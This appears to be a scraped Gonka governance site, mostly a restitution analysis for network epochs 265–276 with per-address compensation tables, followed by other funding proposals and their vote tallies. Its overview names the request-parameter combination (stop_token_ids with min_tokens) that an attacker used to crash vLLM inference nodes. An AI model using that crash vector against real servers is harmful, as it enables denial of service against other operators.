Compensation overlap Requires investigation — potential address overlap with separate restitution tracks not yet audited.
Current decision GRC voted to exclude this case from proposal #4 (6 exclude, 2 include, 1 abstain). Calculations are published here for community reference if anyone chooses to bring this forward independently.
Review focus Highest risk: e266 nonce reconstruction methodology (18 participants, 183,605 GONKA); confirm reconstructed weights match on-chain nonce commits in poc_commits/.
GRC Position
E265–E266 (external attack): The lost rewards in epochs 265 and 266 were a direct result of a third-party attack on Kimi vLLM nodes. Losses caused by external actors are outside the scope of the Gonka Restitution Committee. These epochs cannot be included in a GRC proposal.
E267–E276 (ComputeGroupCap): The cap breach was triggered by the attack-induced N-1 weight collapse in e266, but it was not caused solely by that event. As noted by a committee reviewer:
\"Additionally, the GroupCap issue was not caused solely by recovery from the attack. It was also influenced by the significant weight imbalance between Kimi and Qwen. In fact, update 0.2.13 specifically reduced Kimi's weight for this reason. GroupCap was effectively acting as a balancing mechanism to normalize profitability between the models.\"
This context further reduces the case for GRC restitution: the cap was partly correcting a structural imbalance, not purely an anomalous malfunction.
GRC vote outcome: The committee voted against including this case in the next proposal.
Vote Count
Include 2
Exclude 6
Abstain 1
The compensation calculations in this repository were prepared and validated by two committee reviewers. They are published here so that the community can use these findings if anyone chooses to bring this proposal forward independently.
Methodology objection (GRC reviewer): One reviewer raised a concern that the current calculation overstates compensation because it does not recompute the total network weight. Their argument: the correct question is how much each participant would have received if GroupCap had never existed — which would require reconstructing the uncapped weight for every group, summing into a new total network weight, and compensating only the shortfall against that recalculated denominator. Under that approach, Kimi participants would receive less than the current calculation produces.
The counter-argument applied here: Qwen rewards have already been paid and cannot be clawed back, so there is no \"same pie\" to redistribute. The current approach applies the same reward formula the chain used for all other participants — using EpochGroupData.total_weight as denominator — and corrects only the Kimi side. This is consistent with how prior restitution cases were handled in this repo.
Overview
This repository contains the restitution analysis for epochs 265 through 276 of the Gonka network. Two distinct bugs caused underpayment to moonshotai/Kimi-K2.6 operators across these epochs:
Epochs 265–266: external attack — an unknown actor sent malicious requests targeting Kimi vLLM nodes starting in e265 (attack payload confirmed from production logs: stop_token_ids
min_tokens combination that triggers a vLLM CUDA assert, crashing the engine; 16 crashes across 12/14 mlnodes observed on 2026-05-14), causing CPoC confirmation weight degradation, and escalating in e266 to crash most operators and cause mass nonce exclusion; delegation compensation included for e266 delegators; gateway patches merged May 16–18 (PRs #1170, #1171,
"}, {"location": "proposals/proposals/2026-q2/67/full-proposal/#1180-1183", "title": "1180, #1183)", "text": "Epochs 267–276: ComputeGroupCap underpayment — the e266 collapse destroyed the N-1 reference weight used by the cap formula, and when Kimi operators returned in e267 with full accumulated confirmation weight the mismatch caused a severe inversion; the cap remained triggered every epoch until the v0.2.13 upgrade
The cap breach was resolved by the v0.2.13 upgrade at block 4,267,300 (mid-epoch 276), which reduced Kimi's WeightScaleFactor to 0.78. Epoch 277 is the first clean epoch.
Epoch Block Heights
Epoch PoC Start Epoch End Notes
265 4,089,970 4,105,360
266 4,105,361 4,120,751
267 4,120,752 4,136,142
268 4,136,143 4,151,533
269 4,151,534 4,166,924
270 4,166,925 4,182,315
271 4,182,316 4,197,706
272 4,197,707 4,213,097
273 4,213,098 4,228,488
274 4,228,489 4,243,879
275 4,249,774 4,259,270
276 4,264,130 4,279,520 true epoch end; v0.2.13 upgrade at 4,267,300
Reward formula: 323,000 × e^(−0.000475 × (epoch − 1)) GONKA.
Eligibility Criteria
Epoch 265 (external attack — CPoC degradation): Participants whose confirmation weight dropped abnormally mid-epoch at block 4,103,171 due to the attack. Compensation uses weight / total_epoch_weight × epoch_reward − actual_rewards.
Epoch 266 (external attack — nonce exclusion): The attack escalated, crashing most Kimi operators and causing mass nonce exclusion. Participants who submitted valid Kimi nonces but were never registered in the epoch group (or had their Kimi contribution zeroed) are eligible. Delegation compensation is also included for participants whose operator was excluded.
Epochs 267–276 (ComputeGroupCap): A participant is eligible only if they successfully completed the epoch — meaning they both confirmed work (confirmation_weight on-chain) AND received actual rewards. Participants who failed the epoch for any reason are excluded: the bug caused underpayment to healthy participants, not an obligation to pay those who didn't complete the epoch.
Delegation Impact (Epoch 266)
Gonka uses a PoC delegation system where participants without direct MLNodes can delegate their consensus weight to an operator. When an operator fails to enter the epoch (due to the nonce bug), the chain resolves all their delegators into ModeNone instead of ModeDelegate:
Mode Condition Weight effect
ModeDelegate Operator entered epoch −5% transferred to operator
ModeNone Operator did not enter −15% deducted as penalty
The net extra loss for a delegator whose Kimi operator was excluded is 10% of their original consensus weight.
Full mechanics: e266/DELEGATION.md
Epoch 265 — External Attack (CPoC Degradation)
All Kimi operators entered the epoch group, but CPoC confirmation weights dropped abnormally at block 4,103,171 as a result of the external attack on Kimi vLLM nodes. 3 participants were affected.
compensation = max(0, weight / total_epoch_weight × epoch_reward − actual_rewards)
Address weight cw@healthy cw@end drop Owed (GONKA)
gonka1j7x6dv42xehe9e5au4ku3wvzwtqlegfjhlvzj6 66,311 66,311 323 99.5% 20,896.53
gonka17pw6099q758qwzewtrqmqpf5c2lrhr97fwqexu 189,884 186,719 172,607 7.6% 5,444.49
gonka1830lqug50lse998x2lakk4pj5ypfumz5pasz0y 13,490 7,031 0 100% 4,251.09
Epoch 265 Total: 30,592.10 GONKA (3 participants)
Output: e265/compensation_265.csv · e265/compensation_265.json
Epoch 266 — External Attack (Nonce Exclusion)
The attack escalated in e266, crashing most Kimi operators' inference nodes and causing mass exclusion from the epoch. 9 participants submitted Kimi nonces and had their commits recorded on-chain but were never registered in the epoch group. A further 9 participants entered the epoch but with their Kimi contribution partially zeroed out. The on-chain total epoch weight was 335,159 — the correctly reconstructed weight from all nonce commits is 1,079,698, meaning ~69% of the network's true Kimi work was invisible to the reward calculation.
Part 1: Nonce compensation (18 participants)
compensation = max(0, reconstructed_weight / total_reconstructed_weight × epoch_reward − actual_rewards)
Address Reconstructed weight Fair share (GONKA) Actual (GONKA) Owed (GONKA)
gonka17pw6099q758qwzewtrqmqpf5c2lrhr97fwqexu 214,919.1 56,690.25 14,350.37 42,339.89
gonka1q5xt54wncgzk7dxv9x64uln68455g83wu9tugg 113,567.5 29,956.26 0.00 29,956.26
gonka1wthc28t25pg63hzvl07rl8e8r6km6hesl6jhsz 109,684.6 28,932.04 2,148.14 26,783.90
gonka1j7x6dv42xehe9e5au4ku3wvzwtqlegfjhlvzj6 72,610.3 19,152.78 239.63 18,913.15
gonka1qa90tgczc0k5dvk4l5nvlf5y6phgm6mg22sfjv 70,111.4 18,493.62 0.00 18,493.62
gonka10mmdjau4dnj8krs7sh7t7635ttnmq9u3vqgz09 64,214.9 16,938.28 5,869.99 11,068.29
gonka1jrgm47v5eg876udmzg6j6glqcsd5x0vk6crpax 32,390.2 8,543.71 0.00 8,543.71
gonka1ujnc662v6g69jm6fgxnr79a2m7ehzeut059239 28,109.2 7,414.49 0.00 7,414.49
(10 more — see compensation_266_nonces.csv)
Part 1 total: 183,605.74 GONKA
Part 2: Delegation compensation (9 participants)
9 participants delegated their Kimi weight to gonka1q5xt54... (excluded operator). The chain penalised them 15% (ModeNone) instead of transferring 5% (ModeDelegate) — net extra weight loss of 10% per participant.
compensation = (original_weight × 0.10) / total_epoch_weight × epoch_reward
Address Extra weight lost Owed (GONKA)
gonka1tja3g2da45efhe2p83gk3whtussmgmtsdlgprt 2,124.3 1,805.14
gonka1hwvel7n3zuk6wruefuzc356l9myske9stckwnz 1,854.1 1,575.51
gonka12pcu9mcrpa4w4sjd9y3dsksnvu495ss6f9r4ra 1,372.7 1,166.44
gonka1tlvg4kjx7ljd5thgd5fkgh39q6lu8cmxupktgg 207.4 176.25
gonka1fvly5jrewyjmjfgwah3khy9rttq4cqajcesv9p 134.0 113.86
gonka1cuwejs77gectp3n32wg8q27hlsa4m3hqspf4ww 127.5 108.37
gonka1tmk2tzdneht6smu34pkmqdvu7p34qavvmwtwq2 118.3 100.57
gonka1gyk0aahvr3qeju4zx0nplfreej6cy4jjk8svc5 36.5 30.99
gonka14ef2pxjge75gflqftn7m2wy0xv59gq9uc7qnct 18.4 15.60
Part 2 total: 5,092.73 GONKA
Epoch 266 Grand Total: 188,698.47 GONKA (18 nonce + 9 delegation participants)
Output: e266/compensation_266.json
Epoch 267 — ComputeGroupCap (worst epoch)
All Kimi operators entered the epoch, but the Kimi group's raw weight (899,487) far exceeded the ComputeGroupCap (0.75 × epoch 266 total weight 335,159 = 251,369). The e266 total weight was severely depressed by a targeted external attack on Kimi vLLM nodes, which crashed most operators and collapsed network weight to 335k. This destroyed the N-1 reference weight used by the cap formula for e267 — when Kimi operators returned with full accumulated confirmation weight, the mismatch caused the worst inversion of the entire incident (conf/weight ratio 1.75×).
compensation = max(0, confirmation_weight / EpochGroupData.total_weight × epoch_reward − actual_rewards)
Metric Value
Kimi participants in epoch 27
Affected participants 25
Total compensation 246,471.82 GONKA
Output: e267/compensation_267.csv · e267/compensation_267.json
Epoch 268 — ComputeGroupCap
Cap baseline rose (using epoch 267's total weight), but Kimi's conf_weight remained above cap at 85.2% of total network weight. Conf/weight ratio 0.85×.
Metric Value
Kimi participants in epoch 20
Affected participants 11
Total compensation 42,634.68 GONKA
Output: e268/compensation_268.csv · e268/compensation_268.json
Epoch 269 — ComputeGroupCap
Kimi conf_weight at 87.6% of total network weight. Conf/weight ratio ~1.00×.
Metric Value
Kimi participants in epoch 30
Affected participants 19
Total compensation 47,504.58 GONKA
Output: e269/compensation_269.csv · e269/compensation_269.json
Epoch 270 — ComputeGroupCap
Kimi conf_weight at 94.9% of total network weight. Conf/weight ratio 1.23×.
Metric Value
Kimi participants in epoch 23
Affected participants 19
Total compensation 76,870.08 GONKA
Output: e270/compensation_270.csv · e270/compensation_270.json
Epoch 271 — ComputeGroupCap
Kimi conf_weight at 80.5% of total network weight. Conf/weight ratio 0.95×.
Metric Value
Kimi participants in epoch 23
Affected participants 17
Total compensation 28,422.15 GONKA
Output: e271/compensation_271.csv · e271/compensation_271.json
Epoch 272 — ComputeGroupCap
Kimi conf_weight at 80.0% of total network weight. Conf/weight ratio 0.88×.
Metric Value
Kimi participants in epoch 23
Affected participants 11
Total compensation 16,988.15 GONKA
Output: e272/compensation_272.csv · e272/compensation_272.json
Epoch 273 — ComputeGroupCap (second inversion)
Kimi node count jumped to 81 nodes (30 participants). Kimi conf_weight reached 107.5% of total network weight — a second inversion. Conf/weight ratio 1.18×.
Metric Value
Kimi participants in epoch 30
Affected participants 20
Total compensation 86,243.30 GONKA
Output: e273/compensation_273.csv · e273/compensation_273.json
Epoch 274 — ComputeGroupCap
Kimi conf_weight at 88.5% of total network weight. Conf/weight ratio 0.97×.
Metric Value
Kimi participants in epoch 24
Affected participants 9
Total compensation 41,818.44 GONKA
Output: e274/compensation_274.csv · e274/compensation_274.json
Epoch 275 — ComputeGroupCap
Kimi conf_weight at 103.6% of total network weight. Conf/weight ratio 1.28×.
Metric Value
Kimi participants in epoch 24
Affected participants 18
Total compensation 89,984.78 GONKA
Output: e275/compensation_275.csv · e275/compensation_275.json
Epoch 276 — ComputeGroupCap
v0.2.13 activated at block 4,267,300 (mid-epoch), reducing Kimi's WeightScaleFactor to 0.78. Compensation is calculated against the full epoch end state (block 4,279,520) using the post-upgrade weights and rewards as recorded by the chain.
Metric Value
Kimi participants in epoch 23
Affected participants 11
Total compensation 50,281.35 GONKA
Output: e276/compensation_276.csv · e276/compensation_276.json
Grand Total
Epoch Issue Affected Compensation (GONKA)
265 CPoC degradation 3 30,592.10
266 Nonce exclusion + delegation 18 + 9 188,698.47
267 ComputeGroupCap 25 246,471.82
268 ComputeGroupCap 11 42,634.68
269 ComputeGroupCap 19 47,504.58
270 ComputeGroupCap 19 76,870.08
271 ComputeGroupCap 17 28,422.15
272 ComputeGroupCap 11 16,988.15
273 ComputeGroupCap 20 86,243.30
274 ComputeGroupCap 9 41,818.44
275 ComputeGroupCap 18 89,984.78
276 ComputeGroupCap 11 50,281.35
TOTAL
53 unique addresses 946,509.93 GONKA
Per-address breakdown: aggregate_compensation.json · aggregate_compensation.csv
Issue resolved in e277 following v0.2.13 upgrade. No further compensation required.
Repository Structure
.py │ ├── compensation_.csv │ ├── compensation_.json │ ├── epoch_commits.json │ ├── epoch_group_data.json │ └── epoch_performance.json\">gonka-e26x-issue/ ├── README.md ← this file ├── weight_fluctuation_analysis.md ← full root cause analysis, Kimi weight history ├── aggregate_compensation.py ← aggregates all epochs into per-address totals ├── aggregate_compensation.json ← per-address totals (machine-readable) ├── aggregate_compensation.csv ← per-address totals (spreadsheet) ├── poc_commits/ ← raw nonce commits fetched from chain ├── e265/ ← CPoC degradation │ ├── calculate_compensation_265.py │ ├── compensation_265.csv │ └── compensation_265.json ├── e266/ ← nonce exclusion + delegation │ ├── calculate_compensation_266.py │ ├── DELEGATION.md │ ├── compensation_266_nonces.csv │ ├── compensation_266_delegation.csv │ ├── compensation_266_combined.csv │ └── compensation_266.json ├── e267/ … e276/ ← ComputeGroupCap (one directory per epoch) │ ├── calculate_compensation_.py │ ├── compensation_.csv │ ├── compensation_.json │ ├── epoch_commits.json │ ├── epoch_group_data.json │ └── epoch_performance.json
Running the Analysis
Requires the inferenced binary and archive node access. Configure via .env:
:26657 INFERENCED_BINARY=/path/to/inferenced\">ARCHIVE_NODE_URL=http://:26657 INFERENCED_BINARY=/path/to/inferenced
The .env is loaded from ../gonka-segment-report/.env.
"}, {"location": "proposals/proposals/2026-q2/67/full-proposal/#run-any-epochs-calculator", "title": "Run any epoch's calculator", "text": "python3 e267/calculate_compensation_267.py
"}, {"location": "proposals/proposals/2026-q2/67/full-proposal/#regenerate-aggregate-per-address-totals", "title": "Regenerate aggregate per-address totals", "text": "python3 aggregate_compensation.py
Chain Query Reference
All queries use --height pinned to the epoch end block to read state before pruning.
\\ --node --height -o json
"}, {"location": "proposals/proposals/2026-q2/67/full-proposal/#epoch-group-data-validation-weights-confirmation-weights", "title": "Epoch group data (validation weights, confirmation weights)", "text": "inferenced query inference show-epoch-group-data \\ --node --height -o json
"}, {"location": "proposals/proposals/2026-q2/67/full-proposal/#per-participant-reward-summary", "title": "Per-participant reward summary", "text": "inferenced query inference show-epoch-performance-summary-by-participant \\ --node -o json
"}, {"location": "proposals/proposals/2026-q2/67/full-proposal/#delegation-snapshot-query-at-poc_start-500", "title": "Delegation snapshot (query at poc_start - 500)", "text": "inferenced query inference poc-delegation \\ --node --height -o json\"># PoC nonce commits for an epoch inferenced query inference all-poc-v2-store-commits poc_start> \\ --node ARCHIVE_NODE> --height epoch_end> -o json
"}, {"location": "proposals/proposals/2026-q2/67/full-proposal/#epoch-group-data-validation-weights-confirmation-weights_1", "title": "Epoch group data (validation weights, confirmation weights)", "text": "inferenced query inference show-epoch-group-data epoch> \\ --node ARCHIVE_NODE> --height epoch_end> -o json
"}, {"location": "proposals/proposals/2026-q2/67/full-proposal/#per-participant-reward-summary_1", "title": "Per-participant reward summary", "text": "inferenced query inference show-epoch-performance-summary-by-participant \\ epoch> address> --node ARCHIVE_NODE> -o json
"}, {"location": "proposals/proposals/2026-q2/67/full-proposal/#delegation-snapshot-query-at-poc_start-500_1", "title": "Delegation snapshot (query at poc_start - 500)", "text": "inferenced query inference poc-delegation address> \\ --node ARCHIVE_NODE> --height poc_start - 500> -o json
Epoch poc_start epoch_end
265 4,089,970 4,105,360
266 4,105,361 4,120,751
267 4,120,752 4,136,142
268 4,136,143 4,151,533
269 4,151,534 4,166,924
270 4,166,925 4,182,315
271 4,182,316 4,197,706
272 4,197,707 4,213,097
273 4,213,098 4,228,488
274 4,228,489 4,243,879
275 4,249,774 4,259,270
276 4,264,130 4,279,520
"}, {"location": "proposals/proposals/2026-q2/68/", "title": "#68 – Big YouTube Deep-Dive on Falcon Finance (Alexander Sokolovsky)", "text": "Passed
Proposal ID: 68
Type: Execute Contract
Submit: 2026-06-05 18:30 UTC
Voting: 2026-06-05 18:30 UTC → 2026-06-07 18:30 UTC
Proposer: gonka1e3pepqllu89t8l2acw86fgp5jjkw8m7kcl47nk
Metadata: https://vote.gonka.vip/tenders/550f71de-897f-4ce5-8af8-97854775f8b2
$70,000 · Community PoolView on gonka.gg
The proposal is reopened for voting at the initiative of several hosts who did not participate in the previous round.
• There are no changes to the substance of the proposal; only timeline commitments have been added. • We are now committing to an implementation timeframe of 25–60 days. • The inference product has significantly improved, so by the time the video is released, the GonkaAI will be in a much stronger position.
Falcon Finance https://www.youtube.com/@FalconFinanceX is a highly influential YouTube channel by Alexander Sokolovsky (160k+ subscribers, 100k–600k+ views per video) reaching a thoughtful audience interested in the economy and the future. In October 2025, Alexander released the viral Liberman brothers interview (\"OpenAI is a bubble\"), which became the first touchpoint with Gonka AI for many of our current active community members.
Proposal for Gonka: Fund a dedicated 25–35 minute high-quality, author-driven video exploring the core dilemma of the AI future. The video will contrast the path of corporate monopoly with the decentralized, open AI approach. Gonka AI will be deeply and natively integrated as the prime example of the positive scenario — showcasing useful Proof-of-Work and open compute infrastructure.
Value & Projections: This is a full-scale analytical deep-dive that builds genuine trust rather than acting as a direct advertisement. The content aims to generate organic comments and spark high-quality discussion, serving as evergreen content that — provided the core issue resonates with the audience — has the potential to continue driving developers, investors, and enthusiasts to Gonka for months to come.
Cost: 70,000 USD for full end-to-end production and permanent publication.
Full proposal: https://vote.gonka.vip/tenders/550f71de-897f-4ce5-8af8-97854775f8b2
"}, {"location": "proposals/proposals/2026-q2/68/#final-tally", "title": "Final Tally", "text": "Yes 260,353 (96.4%) No 749 (0.3%) Veto 6,288 (2.3%) Abstain 2,546 (0.9%) Total 269,936 votes"}, {"location": "proposals/proposals/2026-q2/68/#messages", "title": "Messages", "text": "# Type 1/cosmwasm.wasm.v1.MsgExecuteContract Contract Details [\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"70000000000\",\n \"recipient\": \"gonka1w6amu8jg623pqrfw3a8wxlz0s2ph2yp0wvpuu3\"\n }\n },\n \"funds\": []\n }\n]\nFailed
Proposal ID: 69
Type: Update Params
Submit: 2026-06-05 19:21 UTC
Voting: 2026-06-05 19:26 UTC → 2026-06-07 19:26 UTC
Proposer: gonka197hqnwcl30x4js3egvaujjmfknlxy7rmfw3y6k
Failed reason: maximum deposit period must not be nil: 0
View on gonka.gg
Increase the minimum deposit required to submit a governance proposal from the current value to 500 GNK. Also sets expedited minimum deposit to 1000 GNK.
"}, {"location": "proposals/proposals/2026-q2/69/#final-tally", "title": "Final Tally", "text": "Yes 199,799 (96.9%) No 46 (0.0%) Veto 4,202 (2.0%) Abstain 2,210 (1.1%) Total 206,257 votes"}, {"location": "proposals/proposals/2026-q2/69/#messages", "title": "Messages", "text": "# Type 1/cosmos.gov.v1.MsgUpdateParams Contract Details [\n {\n \"@type\": \"/cosmos.gov.v1.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"min_deposit\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"500000000000\"\n }\n ],\n \"max_deposit_period\": null,\n \"voting_period\": null,\n \"quorum\": \"\",\n \"threshold\": \"\",\n \"veto_threshold\": \"\",\n \"min_initial_deposit_ratio\": \"\",\n \"proposal_cancel_ratio\": \"\",\n \"proposal_cancel_dest\": \"\",\n \"expedited_voting_period\": null,\n \"expedited_threshold\": \"\",\n \"expedited_min_deposit\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1000000000000\"\n }\n ],\n \"burn_vote_quorum\": false,\n \"burn_proposal_deposit_prevote\": false,\n \"burn_vote_veto\": false,\n \"min_deposit_ratio\": \"\"\n }\n }\n]\nRejected
Proposal ID: 70
Type: Community Pool Spend
Submit: 2026-06-06 07:35 UTC
Voting: 2026-06-06 07:35 UTC → 2026-06-08 07:35 UTC
Proposer: gonka13kzs38qkq4uc0astlshv39kt9gpu3sr99unpcq
Metadata: https://github.com/Pestarzt0011/GNKRacers-proposal
Failed reason: proposal did not get enough votes to pass
246,000 GNK · Community PoolView on gonka.gg
Release 246,000 GNK from Community Fund to finalize GNK Racers — a multiplayer side-view racing mini-app with a live working prototype (@GNKRacers_bot). The game drives new user acquisition, wallet activations, and GNK wagering velocity on Gonka, with future AI-agent auto-races generating Host GPU inference demand (Q1 2027). Single allocation requested to streamline cross-functional production and marketing execution. Full transparent budget, team breakdown, and deliverables: https://github.com/Pestarzt0011/GNKRacers-proposal. Bi-weekly progress reporting committed.
"}, {"location": "proposals/proposals/2026-q2/70/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →GNKRacers-proposal
GameFi Racing Mini-App
GameFi Racing Mini-App — Gonka Community Fund Proposal
Proposer: GameDev Team (9 people)
Requested amount: 246,000 GNK ($100K equivalent)
Wallet: gonka13kzs38qkq4uc0astlshv39kt9gpu3sr99unpcq
Status: Governance proposal submitted to Gonka Mainnet
Gonka ecosystem currently lacks a consumer-facing, accessible entry point for non-technical users. While the network excels at decentralized AI compute, there is no \"fun\" or viral mechanism to onboard new users, drive GNK velocity, and showcase the protocol to a broader audience.
A multiplayer side-view racing mini-app built on Gonka where players:
Connect wallets and compete in short head-to-head races
Wager GNK via smart contract with automatic winner payouts
Use NFT cars of various tiers
Earn through a referral system
(Future: Q1 2027) AI-agent auto-races generating inference workloads on Host GPUs
Working prototype: @GNKRacers_bot
Phase Deliverable Target Date
Core release Finalized multiplayer mini-app, UI polish, mini-app adaptation Q3 2026
Integration Smart contract & NFT car integration Q3 2026
Beta launch Public beta with ≥500 unique active wallets Q4 2026
Expansion Isometric mode + AI-agent auto-races Q1 2027
Founder / Game Director: Project lead, Gonka community contributor
1 Producer: Milestone & delivery management
2 Game Designers: Economy, progression, retention systems
3 Artists: Visuals, UI/UX, car NFT concepts
2 Developers: Smart contract integration, deployment, multiplayer backend
Category Amount (USD) Amount (GNK) Details
Labor $70,000 172,415 Core team execution
Lead Game Dev / Multiplayer $24,500 60,320 700h × $35/h
Technical Implementation $20,000 49,260 500h × $40/h
UI/UX / Visual Polish $8,000 19,700 320h × $25/h
Game Design / Economy $7,000 17,240 250h × $28/h
QA / Testing $3,600 8,865 200h × $18/h
Production / Coordination $3,000 7,390 200h × $15/h
Content / Live Ops Prep $2,000 4,925 100h × $20/h
Deployment / Support $1,900 4,675 95h × $20/h
Marketing & Launch $20,000 49,260 Influencers, referral campaigns, community growth, paid acquisition
Infrastructure & DevOps $5,000 12,315 Game servers, cloud hosting, CDN, Telegram bot hosting
Software Licenses $2,500 6,160 Unity Pro license, dev tools, build automation
Security (Audit reserve) $2,500 6,160 Post-integration smart contract audit
Total $100,000 246,000
This proposal requests the full amount upfront to streamline operations. The team commits to:
Public progress reports every 2 weeks
Live demos at each milestone
Unspent funds returned to Community Fund if scope is reduced
Hosts: Increased GNK velocity from wagering; future AI-agent races = inference demand
Developers: In-game promotion of existing Gonka pools and apps
Users: Accessible, fun entry point into the Gonka ecosystem
GNK Holders: Higher token utilization and network activity
Slower-than-expected user acquisition → marketing pivot required
Smart contract / NFT partner delays → does not block core release
GameFi market downturn → reposition as competitive consumer mini-app
"}, {"location": "proposals/proposals/2026-q2/70/#final-tally", "title": "Final Tally", "text": "Yes 38,621 (25.0%) No 107,644 (69.6%) Veto 6,241 (4.0%) Abstain 2,245 (1.5%) Total 154,751 votes"}, {"location": "proposals/proposals/2026-q2/70/#messages", "title": "Messages", "text": "# Type 1/cosmos.distribution.v1beta1.MsgCommunityPoolSpend Contract Details [\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka13kzs38qkq4uc0astlshv39kt9gpu3sr99unpcq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"246000000000000\"\n }\n ]\n }\n]\nGNKRacers-proposal
GameFi Racing Mini-App
GameFi Racing Mini-App — Gonka Community Fund Proposal
Proposer: GameDev Team (9 people)
Requested amount: 246,000 GNK ($100K equivalent)
Wallet: gonka13kzs38qkq4uc0astlshv39kt9gpu3sr99unpcq
Status: Governance proposal submitted to Gonka Mainnet
Gonka ecosystem currently lacks a consumer-facing, accessible entry point for non-technical users. While the network excels at decentralized AI compute, there is no \"fun\" or viral mechanism to onboard new users, drive GNK velocity, and showcase the protocol to a broader audience.
A multiplayer side-view racing mini-app built on Gonka where players:
Connect wallets and compete in short head-to-head races
Wager GNK via smart contract with automatic winner payouts
Use NFT cars of various tiers
Earn through a referral system
(Future: Q1 2027) AI-agent auto-races generating inference workloads on Host GPUs
Working prototype: @GNKRacers_bot
Phase Deliverable Target Date
Core release Finalized multiplayer mini-app, UI polish, mini-app adaptation Q3 2026
Integration Smart contract & NFT car integration Q3 2026
Beta launch Public beta with ≥500 unique active wallets Q4 2026
Expansion Isometric mode + AI-agent auto-races Q1 2027
Founder / Game Director: Project lead, Gonka community contributor
1 Producer: Milestone & delivery management
2 Game Designers: Economy, progression, retention systems
3 Artists: Visuals, UI/UX, car NFT concepts
2 Developers: Smart contract integration, deployment, multiplayer backend
Category Amount (USD) Amount (GNK) Details
Labor $70,000 172,415 Core team execution
Lead Game Dev / Multiplayer $24,500 60,320 700h × $35/h
Technical Implementation $20,000 49,260 500h × $40/h
UI/UX / Visual Polish $8,000 19,700 320h × $25/h
Game Design / Economy $7,000 17,240 250h × $28/h
QA / Testing $3,600 8,865 200h × $18/h
Production / Coordination $3,000 7,390 200h × $15/h
Content / Live Ops Prep $2,000 4,925 100h × $20/h
Deployment / Support $1,900 4,675 95h × $20/h
Marketing & Launch $20,000 49,260 Influencers, referral campaigns, community growth, paid acquisition
Infrastructure & DevOps $5,000 12,315 Game servers, cloud hosting, CDN, Telegram bot hosting
Software Licenses $2,500 6,160 Unity Pro license, dev tools, build automation
Security (Audit reserve) $2,500 6,160 Post-integration smart contract audit
Total $100,000 246,000
This proposal requests the full amount upfront to streamline operations. The team commits to:
Public progress reports every 2 weeks
Live demos at each milestone
Unspent funds returned to Community Fund if scope is reduced
Hosts: Increased GNK velocity from wagering; future AI-agent races = inference demand
Developers: In-game promotion of existing Gonka pools and apps
Users: Accessible, fun entry point into the Gonka ecosystem
GNK Holders: Higher token utilization and network activity
Slower-than-expected user acquisition → marketing pivot required
Smart contract / NFT partner delays → does not block core release
GameFi market downturn → reposition as competitive consumer mini-app
"}, {"location": "proposals/proposals/2026-q2/71/", "title": "#71 – Gonka PR Proposal for US/Global Regions", "text": "Rejected
Proposal ID: 71
Type: Execute Contract
Submit: 2026-06-08 10:41 UTC
Voting: 2026-06-08 10:41 UTC → 2026-06-10 10:41 UTC
Proposer: gonka10mmdjau4dnj8krs7sh7t7635ttnmq9u3vqgz09
Metadata: https://www.figma.com/deck/qd7a7bkcit9O1LZ8whP9Ei
Failed reason: proposal did not get enough votes to pass
$75,000 · Community PoolView on gonka.gg
We're a comms team specializing in Organic PR for crypto and tech projects. With strong competition in the space and no active events or marketing currently running for Gonka, we propose a 3-month Organic PR campaign built around one idea: create a new category in decentralized AI space and make Gonka the name that owns it. We do this through earned, credible coverage in top-tier media rather than paid placements. The campaign runs on two parallel tracks: a mainstream track targeting general tech and business audiences via outlets like Forbes, Wired, Bloomberg, The Verge, and Fortune; and a crypto-native track targeting technically sophisticated founders and builders via podcasts like Bankless and Unchained. We amplify reach by working with the personal brands of the Lieberman brothers and other speakers from the community, positioning them as the faces of the category. Deliverables include native editorial content, podcasts, speakerships at the conferences and a flagship industry report built on real market data to anchor Gonka as a thought leader. KPIs over 3 months: a minimum of 35 unique placements - Top Tier, Tier 1 and Tier 2 media (the full list is inside the deck), daily monitoring of the news agenda for reactive opportunities, and a monthly competitive PR analysis. Cost: 75,000 USDT for 3 months. Full proposal: https://www.figma.com/deck/qd7a7bkcit9O1LZ8whP9Ei loom: https://www.loom.com/share/f2bd2f2b831f4c78bc5d4878059d8291
"}, {"location": "proposals/proposals/2026-q2/71/#final-tally", "title": "Final Tally", "text": "Yes 180,108 (99.8%) No 72 (0.0%) Veto 0 (0.0%) Abstain 233 (0.1%) Total 180,413 votes"}, {"location": "proposals/proposals/2026-q2/71/#messages", "title": "Messages", "text": "# Type 1/cosmwasm.wasm.v1.MsgExecuteContract Contract Details [\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"75000000000\",\n \"recipient\": \"gonka133cwxkcjj4g7kskf6tzee5l0y2ulvglsxt382l\"\n }\n },\n \"funds\": []\n }\n]\nRejected
Proposal ID: 72
Type: Update Params
Submit: 2026-06-10 04:51 UTC
Voting: 2026-06-10 04:51 UTC → 2026-06-12 04:51 UTC
Proposer: gonka1afj0tz53z56zngs425m83vxl5y2xmwm692hfrn
Metadata: ipfs://
Failed reason: proposal did not get enough votes to pass
View on gonka.gg
